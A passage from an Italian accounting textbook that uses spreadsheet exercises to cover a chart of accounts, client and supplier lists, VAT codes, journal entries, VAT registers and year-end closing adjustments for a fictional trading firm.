01/01/2006	03/01/2006		2 200,00	prima partita ripresa	A	10 100,50	
01/01/2006	10/01/2006		1 250,00	seconda partita ripresa	A	11 350,50	
03/01/2006	30/12/2005	1 850,00		emissione A/B 1234567	A	9 500,50	
13/01/2006	31/12/2005	20,50		competenze a vostro debito	A	9 480,00	
13/01/2006	30/01/2006		16 780,00	versamento A/B	A	26 260,00	
28/01/2006	30/01/2006	17 242,27		acquisto divisa estera	A	9 017,73	
06/02/2006	07/02/2006		21 800,00	bonifico da terzi	A	30 817,73	
10/02/2006	02/02/2006	11 200,00		giroconto a favore di terzi	A	19 617,73	
10/02/2006	10/02/2006	1,00		commissioni	A	19 616,73	
14/02/2006	14/02/2006	415,00		utenza telefonica	A	19 201,73	
14/02/2006	14/02/2006	0,60		commissioni	A	19 201,13	
27/02/2006	03/03/2006		8 400,00	versamento A/C	A	27 601,13	
28/02/2006	28/02/2006	22 850,00		bonifico a favore di terzi	A	4 751,13	
28/02/2006	28/02/2006	2,50		commissioni	A	4 748,63	
03/03/2006	04/03/2006		19 789,00	accredito di effetti	A	24 537,63	
06/03/2006	10/03/2006	16 452,77		acquisto divisa estera	A	8 084,86	
06/03/2006	06/03/2006	35,78		commissioni	A	8 049,08	
11/03/2006	12/03/2006		17 500,00	bonifico da terzi	A	25 549,08	
14/03/2006	14/03/2006	12 300,00		acquisto A/C	A	13 249,08	
24/03/2006	24/03/2006	0,00		spese e competenze a vostro debito	A	13 249,08	
24/03/2006	24/03/2006	13 249,08		estinzione con A/C	A	0,00	

123.10 Altre schede

Il foglio di lavoro presentato in questi capitoli contiene altre schede, per vari tipi di usi.

123.10.1 Raggruppamenti contabili

La scheda '**`gruppi`**' consente di raggruppare dei conti per determinare rapidamente l'eccedenza globale di questi. Si tratta di elencare i codici dei conti a cui si è interessati, saltando almeno una riga quando si vuole iniziare un nuovo gruppo. Alla fine di ogni gruppo si ottiene l'eccedenza che lo riguarda. Contestualmente si possono mettere delle descrizioni per dare un significato a questi raggruppamenti.

Figura 123.99. Raggruppamenti contabili.

	A	B	C	D	E	F	G	H
1	codice	denominazione	eccedenza		totale del raggruppamento		denominazione del raggruppamento	annotazioni
2	1501	crediti v/clienti	21267,11 d					
3	1505	cambiali attive	12835,80 d				crediti commerciali	
4					34102,91 d			
5	1201	fabbricati	80000,00 d					
6	1205	macchine d'ufficio	8000,00 d					
7	1211	fondo ammortamento fabbricati	24915,00 a				valore complessivo delle immobilizzazioni, al netto dei fondi	
8	1215	fondo ammortamento macchine d'ufficio	1600,00 a					
9					61485,00 d			

123.10.2 Assegni bancari

Le schede '**`ab1`**', '**`ab2`**',... consentono di riprodurre un assegno bancario (anche se nella realtà si tratta di un documento che non viene emesso meccanicamente). Nello schema realizzato con il foglio elettronico vanno indicati tutti i dati, anche il nome della banca alla quale si riferisce il conto corrente.

Figura 123.100. Schema di un assegno bancario.

	A	B	C	D	E	F	G	H
1				li		euro		
2			luogo di emissione		data		importo in cifre	
3								
4		A vista pagate per questo assegno bancario						
5							zona riservata alla clausola NON TRASFERIBILE	
6		euro						€
7					importo in lettere			
8		a						
9					beneficiario			
10		conto				firma		
11								
12								
13	n. assegno				ABI/CAB			

123.10.3 Cambiali generiche

Le schede '**`cambiali1`**',... consentono di riprodurre una cambiale (pagherò o tratta, indifferentemente), con dati completamente liberi. L'importo del bollo viene calcolato automaticamente.

Figura 123.101. Schema di una cambiale generica.

A B C D E F G H I J
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
bollo
€ 0,00
(LUOGO E DATA DELL'EMISSIONE)
Euro
(IN CIFRE)
Al
(SCADENZA)
pag
per questa cambiale
al
la somma
di Euro
(IN LETTERE)
DOMICILIAZIONE
NOME E INDIRIZZO DEL DEBITORE
(FIRMA)
CAP LOCALITÀ PROV.

[1] In teoria, potrebbe capitare di dover estinguere il conto a una certa data, pur avendo un'operazione con valuta successiva all'estinzione. In generale non viene concessa l'estinzione di un conto in presenza di valute successive; tuttavia, volendo ammettere un caso del genere, occorrerebbe spostare manualmente la riga di tale valuta prima di quella che contiene la data di estinzione.

Capitolo 124

Esercitazioni con l'applicativo gestionale

124.1 Codifica 8360

124.1.1 Piano dei conti 8360
124.1.2 Banche 8362
124.1.3 Clienti 8362
124.1.4 Fornitori 8363
124.1.5 Codici IVA 8363
124.1.6 Articoli di magazzino 8363
124.1.7 Condizioni di pagamento 8364

124.2 Esercitazione con la contabilità generale (coge1) 8365

124.2.1 Giornale di contabilità generale 8365
124.2.2 Registri delle fatture 8366
124.2.3 Partitario clienti e fornitori 8366
124.2.4 Variazioni dei conti utilizzati 8366

124.3 Verifica sulla gestione della contabilità generale (coge2) 8367

124.4 Verifica guidata sulla chiusura (coge3) 8367

124.4.1 Inserimento della situazione dei conti, prima degli assestamenti 8368
124.4.2 Operazioni di assestamento 8370
124.4.3 Conclusione della verifica sulla chiusura 8376

124.5 Verifica guidata sul bilancio (coge4) 8377

124.5.1 Ripristino delle eccedenze 8377
124.5.2 Predisposizione di una situazione contabile 8377
124.5.3 Associare i conti alle voci di bilancio 8378
124.5.4 Stampa del bilancio 8379
124.5.5 Conclusione della verifica sul bilancio 8380

124.6 Esercitazione con la contabilità di magazzino (mag1) 8381

124.6.1 Giornale di magazzino 8381
124.6.2 Valorizzazione al costo medio ponderato per movimento 8381
124.6.3 Valorizzazione al costo medio ponderato per periodo 8382

124.7 Verifica sulla gestione della contabilità di magazzino (mag2) 8383

124.8 Esercitazione sulla gestione delle vendite (vend1) 8383

124.8.1 Fattura 8384
124.8.2 Cambiale tratta 8384
124.8.3 Nota di accredito 8385

124.8.4 Giornale di contabilità generale 8385
124.8.5 Registro IVA delle vendite 8386
124.8.6 Partitario clienti 8386
124.8.7 Giornale di magazzino 8387
124.9 Verifica sulla gestione dei documenti della vendita (vend2) 8387
124.10 Verifica sulla gestione dei documenti della vendita (vend3) 8388
124.11 Verifica sulla gestione dei documenti della vendita (vend4) 8389
124.12 Verifica integrata (int1) 8390
124.13 Verifica integrata (int2), guidata - prima parte 8392
124.13.1 Preparazione 8393
124.13.2 Inserimento della situazione iniziale 8393
124.13.3 Le operazioni dal 1 ottobre al 31 ottobre 8395
124.13.4 Conclusione della prima parte 8420
124.14 Verifica integrata (int2), guidata - seconda parte 8421
124.14.1 Conclusione 8428
124.15 Verifica integrata (int2) - terza parte 8429
124.15.1 Le operazioni dal 1 novembre al 30 novembre 8429
124.15.2 Conclusione 8432

124.1 Codifica

Ogni applicativo per la contabilità integrata richiede la codifica di tabelle o archivi di informazioni statiche. In questo caso è necessario definire un piano dei conti, un elenco di clienti e fornitori, gli articoli di magazzino e le modalità di pagamento delle fatture di vendita.

124.1.1 Piano dei conti

Il piano dei conti dell'azienda si inserisce nella scheda '`conti`', dove, per ogni conto, va annotato il codice, la descrizione e l'associazione al bilancio. La codifica può essere organizzata in qualunque modo, purché coerente, pertanto, se disponibile, **va sempre usata quella che si trova nel proprio libro di economia aziendale**. A titolo di esempio, le figure successive mostrano un piano dei conti adatto a un'impresa mercantile individuale, ma non viene mostrata l'associazione alle voci del bilancio.

1	ATTIVO
11	IMMOBILIZZAZIONI IMMATERIALI
1101	costi di impianto
1106	software
1108	avviamento
1111	fondo ammortamento costi di impianto
1116	fondo ammortamento software
1118	fondo ammortamento avviamento
12	IMMOBILIZZAZIONI MATERIALI
1201	fabbricati
1202	impianti e macchinari
1204	attrezzature commerciali
1205	macchine d'ufficio
1206	arredamento
1207	automezzi
1208	imballaggi durevoli
1211	fondo ammortamento fabbricati
1212	fondo ammortamento impianti e macchinari
1214	fondo ammortamento attrezzature commerciali
1215	fondo ammortamento macchine d'ufficio
1216	fondo ammortamento arredamento
1217	fondo ammortamento automezzi
1218	fondo ammortamento imballaggi durevoli
1220	fornitori immobilizzazioni c/acconti
13	IMMOBILIZZAZIONI FINANZIARIE
1301	mutui attivi
14	RIMANENZE
1401	materie di consumo
1404	merci
1410	fornitori c/acconti
15	CREDITI COMMERCIALI
1501	crediti v/clienti
1502	crediti commerciali diversi
1503	clienti c/spese anticipate
1505	cambiali attive
1506	cambiali allo sconto
1507	cambiali all'incasso
1509	fatture da emettere
1510	crediti insoluti
1511	cambiali insolute
1531	crediti da liquidare
1540	fondo svalutazione crediti
1541	fondo rischi su crediti
16	CREDITI DIVERSI
1601	IVA n/credito
1602	IVA c/acconto
1605	crediti per IVA
1607	imposte c/acconto
1608	crediti per imposte
1609	crediti per ritenute subite
1610	crediti per cauzioni
1620	personale c/acconti
1630	crediti c/istituti previdenziali
1640	debitori diversi
18	DISPONIBILITÀ LIQUIDE
1801	banche c/c attivi
1810	c/c postali
1820	denaro in cassa
1821	assegni
1822	valori bollati
19	RATEI E RISCONTI ATTIVI
1901	ratei attivi
1902	risconti attivi
2	PASSIVO
20	PATRIMONIO NETTO
2101	patrimonio netto
2102	utile d'esercizio
2103	perdita d'esercizio
2104	prelevamenti extragestione
2105	titolare c/ritenute subite
22	FONDI PER RISCHI E ONERI
2201	fondo per imposte
2204	fondo per responsabilità civile
2205	fondo spese future
2211	fondo manutenzioni programmate
23	TRATTAMENTO FINE RAPPORTO DI LAVORO
2301	debiti per TFRL
24	DEBITI FINANZIARI
2410	mutui passivi
2411	banche c/sovvenzioni
2420	banche c/c passivi
2421	banche c/RIBA all'incasso
2422	banche c/cambiali all'incasso
2423	banche c/anticipi su fatture
2440	debiti v/altri finanziatori
25	DEBITI COMMERCIALI
2501	debiti v/fornitori
2503	cambiali passive
2520	fatture da ricevere
2521	debiti da liquidare
2530	clienti c/acconti
26	DEBITI DIVERSI
2601	IVA n/debito
2602	debiti per ritenute da versare
2605	debiti per IVA
2606	debiti per imposte
2619	debiti per cauzioni
2620	personale c/retribuzioni
2621	personale c/liquidazioni
2622	clienti c/cessione
2630	debiti v/istituti previdenziali
2640	creditori diversi
27	RATEI E RISCONTI PASSIVI
2701	ratei passivi
2702	risconti passivi
28	CONTI TRANSITORI E DIVERSI
2801	bilancio di apertura
2802	bilancio di chiusura
2810	IVA c/liquidazioni
2811	istituti previdenziali
2820	banca ... c/c
2821	banca ... c/c
2822	banca ... c/c
29	CONTI DEI SISTEMI SUPPLEMENTARI
2901	beni di terzi
2902	depositanti beni
2911	merci da ricevere
2912	fornitori c/impegni
2913	impegni per beni in leasing
2914	creditori c/leasing
2916	clienti c/impegni
2917	merci da consegnare
2921	rischi per effetti scontati
2922	banche c/effetti scontati
2926	rischi per fideiussioni
2927	creditori per fideiussioni
2931	rischi per avalli
2932	creditori per avalli
3	VALORE DELLA PRODUZIONE
31	VENDITE E PRESTAZIONI
3101	merci c/vendite
3103	rimborsi spese di vendita
3110	resi su vendite
3111	ribassi e abbuoni passivi
3112	premi su vendite
32	RICAVI E PROVENTI DIVERSI
3201	fitti attivi
3202	proventi vari
3210	arrotondamenti attivi
3220	plusvalenze ordinarie diverse
3230	sopravvenienze attive ordinarie diverse
3240	insussistenze attive ordinarie diverse
4	COSTI DELLA PRODUZIONE
41	COSTO DEL VENDUTO
4101	merci c/acquisti
4102	materie di consumo c/acquisti
4105	merci c/apporti
4110	resi su acquisti
4111	ribassi e abbuoni attivi
4112	premi su acquisti
4121	merci c/esistenze iniziali
4122	materie di consumo c/esistenze iniziali
4131	merci c/rimanenze finali
4132	materie di consumo c/rimanenze finali
42	COSTI PER SERVIZI
4201	costi di trasporto

4202	costi per energia
4203	costi di pubblicità
4204	costi di consulenze
4205	costi postali
4206	costi telefonici
4207	costi di assicurazione
4208	costi di vigilanza
4209	costi per i locali
4210	costi di esercizio automezzi
4211	costi di manutenzione e riparazione
4212	provvigioni passive
4213	spese di incasso
43	COSTI PER GODIMENTO BENI DI TERZI
4301	fitti passivi
4302	canoni leasing
44	COSTI PER IL PERSONALE
4401	salari e stipendi
4402	oneri sociali
4403	TFRL
4404	altri costi per il personale
45	AMMORTAMENTI IMMOBILIZZAZIONI IMMATERIALI
4501	ammortamento costi di impianto
4506	ammortamento software
4508	ammortamento avviamento
46	AMMORTAMENTI IMMOBILIZZAZIONI MATERIALI
4601	ammortamento fabbricati
4602	ammortamento impianti e macchinari
4604	ammortamento attrezzature commerciali
4605	ammortamento macchine d'ufficio
4606	ammortamento arredamento
4607	ammortamento automezzi
4608	ammortamento imballaggi durevoli
47	SVALUTAZIONI
4701	svalutazioni immobilizzazioni immateriali
4702	svalutazioni immobilizzazioni materiali
4706	svalutazione crediti
48	ACCANTONAMENTI
481	ACCANTONAMENTI PER RISCHI
4814	accantonamento per responsabilità civile
482	ALTRI ACCANTONAMENTI
4821	accantonamento per spese future
4823	accantonamento per manutenzioni programmate
49	ONERI DIVERSI
4901	oneri fiscali diversi
4903	oneri vari
4905	perdite su crediti
4910	arrotondamenti passivi
4920	minusvalenze ordinarie diverse
4930	sopravvenienze passive ordinarie
4940	insussistenze passive ordinarie
5	PROVENTI E ONERI FINANZIARI
51	PROVENTI FINANZIARI
5110	interessi attivi v/clienti
5115	interessi attivi bancari
5116	interessi attivi postali
5140	proventi finanziari diversi
52	ONERI FINANZIARI
5101	interessi passivi v/fornitori
5102	interessi passivi bancari
5103	sconti passivi bancari
5210	interessi passivi su mutui
5240	oneri finanziari diversi
7	PROVENTI E ONERI STRAORDINARI
71	PROVENTI STRAORDINARI
7101	plusvalenze straordinarie
7102	sopravvenienze attive straordinarie
7103	insussistenze passive straordinarie
72	ONERI STRAORDINARI
7201	minusvalenze straordinarie
7202	sopravvenienze passive straordinarie
7203	insussistenze passive straordinarie
7204	imposte esercizi precedenti
81	IMPOSTE DELL'ESERCIZIO
8101	imposte dell'esercizio
91	CONTI DI RISULTATO
9101	conto di risultato economico

Da come è strutturato il piano dei conti che appare nelle figure, è evidente che nel giornale si possono usare solo i conti che hanno quattro cifre, mentre le voci che hanno un numero inferiore di cifre servono per facilitare il raggruppamento visivo dei conti stessi.

124.1.2 Banche

L’elenco delle banche di appoggio dei clienti è contenuto nella scheda ‘**banche**’. La figura mostra l’elenco usato nelle esercitazioni di questa parte.

codice	descrizione	paese	cin eur	cin	abi	cab
1	banca della valle	IT	96	X	00000	00000
2	banca della collina	IT	96	X	00000	00000
3	banca del monte	IT	96	X	00000	00000
4	banca del mare	IT	96	X	00000	00000
5	banca del lago	IT	96	X	00000	00000

124.1.3 Clienti

L’elenco dei clienti si inserisce nella scheda ‘**clienti**’. Nella figura successiva appaiono i clienti usati nelle esercitazioni di questa parte.

codice cliente	denominazione	indirizzo	cap	città	pr.	codice fiscale o partita IVA	banca	sconto (non usato)	situazione contabile	descrizione banca
1	Alberoni & C.	piazza Tiritera, 28	50018	Scandicci	FI	1720430485	1		0,00	banca della valle
2	Belletti Ugo	via Terraglio, 78	31100	Treviso	TV	2403210269	2		0,00	banca della collina
3	Super bit srl	via Barbablu, 78	47037	Rimini	RN	01620430403	3		0,00	banca del monte
4	Emme	viale Libertà, 17	10100	Torino	TO	02513310017	4		0,00	banca del mare
5	Yankee	via dei coniugi, 15	31100	Treviso	TV	00496700261	5		0,00	banca del lago
6	Zeta	via Arbe, 50	20100	Milano	MI	01720430485	1		0,00	banca della valle
7	Wasser	viale dell'acqua, 7	31100	Treviso	TV	02513310017	2		0,00	banca della collina

124.1.4 Fornitori

L'elenco dei fornitori si inserisce nella scheda '**fornitori**'. Nella figura successiva appaiono i fornitori usati nelle esercitazioni di questa parte.

codice fornitore	denominazione	indirizzo	cap	città	pr.	codice fiscale o partita IVA	situazione contabile
1	Tutto hardware	via Nacchere, 78	20052	Monza	MI	04732150158	0,00
2	ENEL elettricità	via Ombrone, 2	00198	Roma	RM	05779711000	0,00
3	Telecom	piazza Degli Affari, 2	20123	Milano	MI	00488410010	0,00
4	Delta	viale della Repubblica, 103	36100	Vicenza	VI	04732150158	0,00
5	Errex	corso strada nuova, 116/B	27100	Pavia	PV	01250490263	0,00
6	Domenichelli	viale della Repubblica, 10	31100	Treviso	TV	02850410388	0,00
7	Sonne	viale del sole, 7	31100	Treviso	TV	01250490263	0,00

124.1.5 Codici IVA

La scheda '**iva**' contiene l'elenco delle varie tipologie di imposizione IVA gestite. Nella figura successiva appare l'elenco di quelle previste per le esercitazioni. Si osservi che il codice IVA è organizzato in modo da ricordare lo scopo che ha.

codice IVA	descrizione	percentuale IVA	percentuale di indeducibilità	imponibile = 1 non imponibile = 0
10%	aliquota 10%	10,00%	0%	1
10%ind	aliquota 10% indetraibile	10,00%	100%	1
20%	aliquota 20%	20,00%	0%	1
20%ind	aliquota 20% indetraibile	20,00%	100%	1
4%	aliquota 4%	4,00%	0%	1
4%ind	aliquota 4% indetraibile	4,00%	100%	1
es10	esclusa art. 10	0,00%	0%	0
es15	esclusa art. 15	0,00%	0%	0
es2	esclusa art. 2	0,00%	0%	0
es3	esclusa art. 3	0,00%	0%	0
es4	esclusa art. 4	0,00%	0%	0
es5	esclusa art. 5	0,00%	0%	0
ni8	non imponibile art. 8	0,00%	0%	0
ni8bis	non imponibile art. 8bis	0,00%	0%	0
ni9	non imponibile art. 9	0,00%	0%	0

124.1.6 Articoli di magazzino

La scheda '**articoli**' contiene l'elenco degli articoli da gestire nella contabilità di magazzino. Nella figura successiva appare l'elenco di quelli previste per le esercitazioni.

codice articolo	denominazione	prezzo unitario di vendita	IVA
1	telo copri monitor	€ 5,00	20,00%
2	porta CD/DVD da viaggio	€ 5,00	20,00%
3	porta CD/DVD a colonna	€ 10,00	20,00%
4	luce per notebook usb	€ 10,00	20,00%
5	adattatore da AT a PS/2	€ 3,00	20,00%
6	adattatore da PS/2 a AT	€ 3,00	20,00%
7	borsa per notebook	€ 20,00	20,00%
8	zaino per notebook	€ 20,00	20,00%
9	miele millefiori 1 kg	€ 5,00	10,00%
10	miele di acacia 1 kg	€ 5,00	10,00%
11	cera d'api grezza 1 kg	€ 5,00	10,00%
12	pappa reale pura 10 g	€ 20,00	20,00%
13	propoli 20 g	€ 10,00	20,00%

124.1.7 Condizioni di pagamento

La scheda '**`pagamenti`**' contiene l'elenco delle modalità di pagamento per le fatture emesse. Nella figura successiva appare l'elenco dei tipi di pagamento previsti per le esercitazioni.

codice pagamento	descrizione	tipo pagamento	scadenza
1	vista fattura	4	0
3	rimessa diretta 30 g.d.f.	3	30
4	rimessa diretta 60 g.d.f.	3	60
7	ricevuta bancaria 30 g.d.f.	2	30
8	ricevuta bancaria 60 g.d.f.	2	60
11	tratta 30 g.d.f.	1	30
12	tratta 60 g.d.f.	1	60

124.2 Esercitazione con la contabilità generale (coge1)

Il blocco principale di una procedura di contabilità integrata è sempre costituito dalla gestione della contabilità generale. Gli obblighi di legge più importanti, legati a questa gestione, si riassumono brevemente nella tenuta del giornale di contabilità, dei registri IVA (registri delle fatture), del partitario (le schede dei conti) e nell'elenco di clienti e fornitori.

Viene proposto un esercizio molto semplice, dal quale si vanno a produrre i vari documenti. La codifica usata è quella descritta nella sezione 124.1, ma per lo svolgimento dell'esercitazione va utilizzato il piano dei conti del proprio libro di economia aziendale.

data		descrizione	dare	avere
04 gen	denaro e valori in cassa	Prelievo dal c/c bancario.	2 500,00	
	banca X c/c			2 500,00
04 gen	merci c/acquisti	Acquisto di merci dal fornitore «Tutto hardware», con fattura n. 123 del 3 gennaio, protocollata con il numero 1.	2 000,00	
	IVA n/credito		400,00	
	debiti verso fornitori			2 400,00
05 gen	crediti v/clienti	Vendita di merci al cliente Alberoni, con fattura n. 1 del 4 gennaio.	1 200,00	
	merci c/vendite			1 000,00
	IVA n/debito			200,00
05 gen	merci c/acquisti	Acquisto di merci dal fornitore «Tutto hardware», con fattura n. 127 del 4 gennaio, protocollata con il numero 2. Nella fattura sono addebitati i bolli (IVA esclusa art. 15) per l'emissione di una tratta a 30 giorni dalla data della fattura stessa.	1 000,00	
	IVA n/credito		200,00	
	bolli		14,60	
	debiti verso fornitori			1 214,60

124.2.1 Giornale di contabilità generale

	data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere
1	04 gen	1820	denaro in cassa			Prelievo dal c/c bancario.				2 500,00	
1		2820	banca ... c/c								2 500,00
2	04 gen	4101	merci c/acquisti			Fattura di acquisto merci dal fornitore Tutto hardware.	123	03 gen	1	2 000,00	
2		1601	IVA n/credito							400,00	
2		2501	debiti v/fornitori		1						2 400,00
3	05 gen	1501	crediti v/clienti	1		Fattura di vendita merci al cliente Alberoni.	1	04 gen		1 200,00	
3		3101	merci c/vendite								1 000,00
3		2601	IVA n/debito								200,00
4	05 gen	4101	merci c/acquisti			Fattura di acquisto merci dal fornitore Tutto hardware, comprendente l'addebito di bolli per l'emissione di cambiale tratta a 30 giorni, dalla data della fattura stessa.	127	04 gen	2	1 000,00	
4		1601	IVA n/credito							200,00	
4		4901	oneri fiscali diversi							14,60	
4		2501	debiti v/fornitori		1						1 214,60

124.2.2 Registri delle fatture

registro delle fatture di acquisto

data di registrazione	data del documento	indicatore di errore	numero prot.	indicatore di errore	fornitore	fattura o nota di variazione	totale documento	imponibile	codice IVA	imposta	indicatore di errore	descrizione
4 gen 2010	3 gen 2010		1		1 Tutto hardware	fatt.	2400,00	2000,00	20%	400,00		aliquota 20%
5 gen 2010	4 gen 2010		2		1 Tutto hardware	fatt.	1214,60	1000,00	20%	200,00		aliquota 20%
								14,60	es15	0,00		esclusa art. 15
					totali		3614,60	3014,60		600,00		

riepiloghi

codice IVA	descrizione	imponibili	imposte	imposte deducibili
20%	aliquota 20%	3000,00	600,00	600,00
es15	esclusa art. 15	14,60	0,00	0,00
	totali	3014,60	600,00	600,00

registro delle fatture di vendita

data di registrazione	data del documento	indicatore di errore	numero doc. e prot.	indicatore di errore	cliente	fattura o nota di variazione	totale documento	imponibile	codice IVA	imposta	indicatore di errore	descrizione
5 gen 2010	4 gen 2010		1		1 Alberoni & C.	fatt.	1200,00	1000,00	20%	200,00		aliquota 20%
					totali		1200,00	1000,00		200,00		

riepiloghi

codice IVA	descrizione	imponibili	imposte	imposte deducibili
20%	aliquota 20%	1000,00	200,00	200,00
	totali	1000,00	200,00	200,00

124.2.3 Partitario clienti e fornitori

codice cliente	scheda del cliente: «Alberoni & C.»	eccedenza dare	eccedenza avere
1		1 200,00	0,00

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
3	05/01	1	04/01		Fattura di vendita merci al cliente Alberoni.	1 200,00	0,00
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

codice fornitore	scheda del fornitore: «Tutto hardware»	eccedenza dare	eccedenza avere
1		0,00	3 614,60

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
2	04/01	123	03/01	1	Fattura di acquisto merci dal fornitore Tutto hardware.	0,00	2 400,00
4	05/01	127	04/01	2	Fattura di acquisto merci dal fornitore Tutto hardware, comprendente l'addebito di bolli per l'emissione di cambiale tratta a 30 giorni, dalla data della fattura stessa.	0,00	1 214,60
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

124.2.4 Variazioni dei conti utilizzati

codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio	eccedenza dare	eccedenza avere		
riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				7 314,60	7 314,60		
1501	crediti v/clienti	aCII1		1 200,00	0,00		
1601	IVA n/credito			600,00	0,00		
1820	denaro in cassa	aCIV3		2 500,00	0,00		
2501	debiti v/fornitori		pD7	0,00	3 614,60		
2601	IVA n/debito			0,00	200,00		
2820	banca ... c/c			0,00	2 500,00		
3101	merci c/vendite		eA1	0,00	1 000,00		
4101	merci c/acquisti	eB6		3 000,00	0,00		
4901	oneri fiscali diversi	eB14		14,60	0,00		

124.3 Verifica sulla gestione della contabilità generale (coge2)

Si registrino le operazioni seguenti nel giornale di contabilità generale e nei registri IVA.

- **10 agosto**

  Il fornitore Tuttohardware ci invia fattura n. 250 del 07 agosto per l'acquisto di merci per 3000,00 € più IVA con aliquota normale. La fattura viene protocollata con il numero 20.

- **11 agosto**

  Si invia al cliente Alberoni fattura n. 31 per vendita di merci per 5000,00 € più IVA con aliquota normale.

- **12 agosto**

  Il fornitore Tuttohardware ci invia fattura n. 255 del 10 agosto per l'acquisto di merci per 3000,00 € più IVA con aliquota normale. Nella fattura ci addebita anche spese per bolli, per 20,00 €, che sono esclusi dall'IVA in base all'art. 15. La fattura viene protocollata con il numero 21.

- **13 agosto**

  Il cliente Alberoni paga con assegno bancario una vecchia fattura per un importo complessivo di 3600,00 €. L'assegno viene messo nella cassa assegni.

- **14 agosto**

  Viene depositato l'assegno del cliente Alberoni nel conto corrente bancario dell'azienda.

- **15 agosto**

  Si invia al cliente Alberoni fattura n. 32 per vendita di merci per 6000,00 € più IVA con aliquota normale.

Si devono presentare i documenti seguenti:

1. il giornale;

2. i registri IVA degli acquisti e delle vendite;
3. la stampa del partitario clienti e fornitori.

124.4 Verifica guidata sulla chiusura (coge3)

L'esercitazione riguarda operazioni da inserire nei giorni 30 e 31 dicembre. Nel 30 dicembre vengono inseriti i valori iniziali dei conti per mezzo di una scrittura fittizia; nel 31 dicembre vengono registrati gli assestamenti, le scritture di chiusura dei conti economici, la determinazione dell'utile o della perdita e l'epilogo dei conti dello stato patrimoniale.

124.4.1 Inserimento della situazione dei conti, prima degli assestamenti

30 dicembre

Viene effettuata una scrittura fittizia (somigliante vagamente a un'apertura) per attribuire ai conti le eccedenze attuali della contabilità.

Questa operazione viene effettuata solo per avere dei valori all'interno dei vari conti dei quali si fa la chiusura. È evidente che nella realtà è improbabile che un'azienda cominci una contabilità meccanizzata e subito dopo faccia una chiusura dei conti.

Bilancio di verifica dell'azienda in data 30 dicembre.

Dare		Avere	
cliente Emme	7763,90	fornitore Delta	18138,24
cliente Yankee	6291,60	fornitore ERREX	21031,42
cliente Zeta	7211,61	fornitore Domenichelli	101,15
banca X c/c	4338,00	cambiali passive	5431,00
cambiali attive	12835,80	debito per TFRL	9000,00
denaro in cassa	6670,30	fondo svalutazione crediti	1317,00
macchine d'ufficio	8000,00	debiti per imposte	1100,00
fabbricati	80000,00	fondo ammortamento fabbricati	22515,00
		istituti previdenziali	1485,00
		debito per IVA	1000,00
		patrimonio netto	69903,10
merci c/acquisti	60487,00	merci c/vendite	50912,00
costi di consulenze	2285,70	ribassi e abbuoni attivi	102,00
ribassi e abbuoni passivi	83,00		
salari e stipendi	3121,00		
oneri sociali	2670,00		
costi di trasporto	278,00		
Totale dare	202035,91	Totale avere	202035,91

- Contabilizzare la situazione dei conti con una scrittura nel giornale di contabilità generale.

Si suggerisce di fare una scrittura simile all'esempio che si può vedere nella figura successiva, tenendo conto che va realizzata nel giornale di contabilità generale.

cliente Emme	situazione dei conti al 30 dicembre	7763,90	
cliente Yankee		6291,60	
cliente Zeta		7211,61	
banca X c/c		4338,00	
cambiali attive		12835,80	
denaro in cassa		6670,30	
macchine d’ufficio		8000,00	
fabbricati		80000,00	
merci c/acquisti		60487,00	
costi di consulenze		2285,70	
ribassi e abbuoni passivi		83,00	
salari e stipendi		3121,00	
oneri sociali		2670,00	
costi di trasporto		278,00	
fornitore Delta			18138,24
fornitore Errex			21031,42
fornitore Domenichelli			101,15
cambiali passive			5431,00
debito per TFRL			9000,00
fondo svalutazione crediti			1317,00
debiti per imposte			1100,00
fondo ammortamento fabbricati			22515,00
istituti previdenziali			1485,00
debito per IVA			1000,00
patrimonio netto			69903,10
merci c/vendite			50912,00
ribassi abbuoni attivi			102,00

30 dicembre

Viene effettuata la stampa del bilancio di verifica per controllare l’esattezza dei saldi inseriti tramite l’apertura dei conti. La stampa del bilancio di verifica si ottiene dalla scheda del piano dei conti, filtrando in modo da visualizzare solo quelli usati effettivamente in contabilità.

- Effettuare la stampa del bilancio di verifica.

1201	fabbricati		80 000,00	0,00
1205	macchine d'ufficio		8 000,00	0,00
1211	fondo ammortamento fabbricati		0,00	22 515,00
1501	crediti v/clienti		21 267,11	0,00
1505	cambiali attive		12 835,80	0,00
1540	fondo svalutazione crediti		0,00	1 317,00
1820	denaro in cassa		6 670,30	0,00
2101	patrimonio netto		0,00	69 903,10
2301	debiti per TFRL		0,00	9 000,00
2501	debiti v/fornitori		0,00	39 270,81
2503	cambiali passive		0,00	5 431,00
2605	debiti per IVA		0,00	1 000,00
2606	debiti per imposte		0,00	1 100,00
2811	istituti previdenziali		0,00	1 485,00
2820	banca ... c/c		4 338,00	0,00
3101	merci c/vendite		0,00	50 912,00
3111	ribassi e abbuoni passivi		83,00	0,00
4101	merci c/acquisti		60 487,00	0,00
4111	ribassi e abbuoni attivi		0,00	102,00
4201	costi di trasporto		278,00	0,00
4204	costi di consulenze		2 285,70	0,00
4401	salari e stipendi		3 121,00	0,00
4402	oneri sociali		2 670,00	0,00

- Controllare tutti i conti del bilancio di verifica e, se necessario, fare le correzioni e ripetere la stampa.

124.4.2 Operazioni di assestamento

31 dicembre

Per la determinazione del reddito si tenga presente quanto segue.

1. L'ammortamento di mobili e attrezzature ufficio è del 20 %.
2. L'ammortamento degli immobili è del 3 %.
3. Si verifica che il fondo svalutazione crediti sia almeno pari al 3 % dei crediti commerciali (a cui appartengono anche i crediti verso i clienti). Se il fondo risulta inferiore, questo deve essere adeguato (incrementato in modo da raggiungere il valore della svalutazione prevista), altrimenti non si deve fare la scrittura.
4. L'accantonamento al fondo TFRL è di 651,79 €.
5. il totale delle fatture da emettere per merci già inviate è di 800,00 €;
6. il totale delle fatture da ricevere per merci ricevute è di 500,00 €;
7. le merci in rimanenza sono valutate 34500,00 €;
8. le imposte dell'esercizio ammontano a 1750,00 €.

- Registrare in contabilità generale le scritture di assestamento elencate.

Le registrazioni vanno effettuate una per una e non raggruppate.

ammortamento macchine d'ufficio	ammortamento...	(calcolare)	
fondo ammortamento macchine d'ufficio			(calcolare)

